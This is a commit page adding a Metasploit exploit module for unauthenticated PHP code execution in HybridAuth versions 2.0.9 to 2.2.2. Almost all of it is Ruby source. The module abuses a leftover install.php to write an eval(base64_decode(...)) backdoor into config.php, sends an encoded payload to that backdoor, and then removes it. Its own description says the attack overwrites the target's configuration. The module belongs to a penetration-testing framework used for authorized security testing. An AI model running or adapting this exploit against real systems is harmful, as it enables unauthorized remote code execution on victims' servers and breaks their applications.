Skip to content

Commit c73ec66

Browse files
committed
Land rapid7#3659 - Add HybridAuth install.php PHP Code Execution
2 parents 0c9daff + 564431f commit c73ec66

File tree

1 file changed

+138
-0
lines changed

1 file changed

+138
-0
lines changed
Lines changed: 138 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,138 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ManualRanking # application config.php is overwritten
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'HybridAuth install.php PHP Code Execution',
16+
'Description' => %q{
17+
This module exploits a PHP code execution vulnerability in
18+
HybridAuth versions 2.0.9 to 2.2.2. The install file 'install.php'
19+
is not removed after installation allowing unauthenticated users to
20+
write PHP code to the application configuration file 'config.php'.
21+
22+
Note: This exploit will overwrite the application configuration file
23+
rendering the application unusable.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'Pichaya Morimoto', # Discovery and PoC
29+
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
30+
],
31+
'References' =>
32+
[
33+
['EDB', '34273'],
34+
['OSVDB','109838']
35+
],
36+
'Arch' => ARCH_PHP,
37+
'Platform' => 'php',
38+
'Targets' =>
39+
[
40+
# Tested:
41+
# HybridAuth versions 2.0.9, 2.0.10, 2.0.11, 2.1.2, 2.2.2 on Apache/2.2.14 (Ubuntu)
42+
['HybridAuth version 2.0.9 to 2.2.2 (PHP Payload)', {}]
43+
],
44+
'Privileged' => false,
45+
'DisclosureDate' => 'Aug 4 2014',
46+
'DefaultTarget' => 0))
47+
48+
register_options(
49+
[
50+
OptString.new('TARGETURI', [true, 'The base path to HybridAuth library', '/hybridauth/'])
51+
], self.class)
52+
end
53+
54+
55+
#
56+
# Check:
57+
# * install.php exists
58+
# * config.php is writable
59+
# * HybridAuth version is 2.0.9 to 2.0.11, 2.1.x, or 2.2.0 to 2.2.2
60+
#
61+
def check
62+
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'install.php')
63+
if !res
64+
vprint_error "#{peer} - Connection failed"
65+
return Exploit::CheckCode::Unknown
66+
elsif res.code == 404
67+
vprint_error "#{peer} - Could not find install.php"
68+
elsif res.body =~ />([^<]+)<\/span> must be <b >WRITABLE</
69+
vprint_error "#{peer} - #{$1} is not writable"
70+
elsif res.body =~ />HybridAuth (2\.[012]\.[\d\.]+(-dev)?) Installer</
71+
version = res.body.scan(/>HybridAuth (2\.[012]\.[\d\.]+(-dev)?) Installer</).first.first
72+
vprint_status "#{peer} - Found version: #{version}"
73+
if version =~ /^2\.(0\.(9|10|11)|1\.[\d]+|2\.[012])/
74+
return Exploit::CheckCode::Vulnerable
75+
else
76+
vprint_error "#{peer} - HybridAuth version #{version} is not vulnerable"
77+
end
78+
end
79+
Exploit::CheckCode::Safe
80+
end
81+
82+
#
83+
# Exploit
84+
#
85+
def exploit
86+
# check vuln
87+
if check != Exploit::CheckCode::Vulnerable
88+
fail_with Exploit::Failure::NotVulnerable, "#{peer} - Target is not vulnerable"
89+
end
90+
91+
# write backdoor
92+
print_status "#{peer} - Writing backdoor to config.php"
93+
payload_param = rand(1000)
94+
res = send_request_cgi(
95+
'method' => 'POST',
96+
'uri' => normalize_uri(target_uri.path, 'install.php'),
97+
'data' => "OPENID_ADAPTER_STATUS=eval(base64_decode($_POST[#{payload_param}])))));/*"
98+
)
99+
if !res
100+
fail_with Failure::Unknown, "#{peer} - Connection failed"
101+
elsif res.body =~ /Installation completed/
102+
print_good "#{peer} - Wrote backdoor successfully"
103+
else
104+
fail_with Failure::UnexpectedReply, "#{peer} - Coud not write backdoor to 'config.php'"
105+
end
106+
107+
# execute payload
108+
code = Rex::Text.encode_base64(payload.encoded)
109+
print_status "#{peer} - Sending payload to config.php backdoor (#{code.length} bytes)"
110+
res = send_request_cgi({
111+
'method' => 'POST',
112+
'uri' => normalize_uri(target_uri.path, 'config.php'),
113+
'data' => "#{payload_param}=#{code}"
114+
}, 5)
115+
if !res
116+
print_warning "#{peer} - No response"
117+
elsif res.code == 404
118+
fail_with Failure::NotFound, "#{peer} - Could not find config.php"
119+
elsif res.code == 200 || res.code == 500
120+
print_good "#{peer} - Sent payload successfully"
121+
end
122+
123+
# remove backdoor
124+
print_status "#{peer} - Removing backdoor from config.php"
125+
res = send_request_cgi(
126+
'method' => 'POST',
127+
'uri' => normalize_uri(target_uri.path, 'install.php'),
128+
'data' => 'OPENID_ADAPTER_STATUS='
129+
)
130+
if !res
131+
print_error "#{peer} - Connection failed"
132+
elsif res.body =~ /Installation completed/
133+
print_good "#{peer} - Removed backdoor successfully"
134+
else
135+
print_warning "#{peer} - Could not remove payload from config.php"
136+
end
137+
end
138+
end

0 commit comments

Comments
 (0)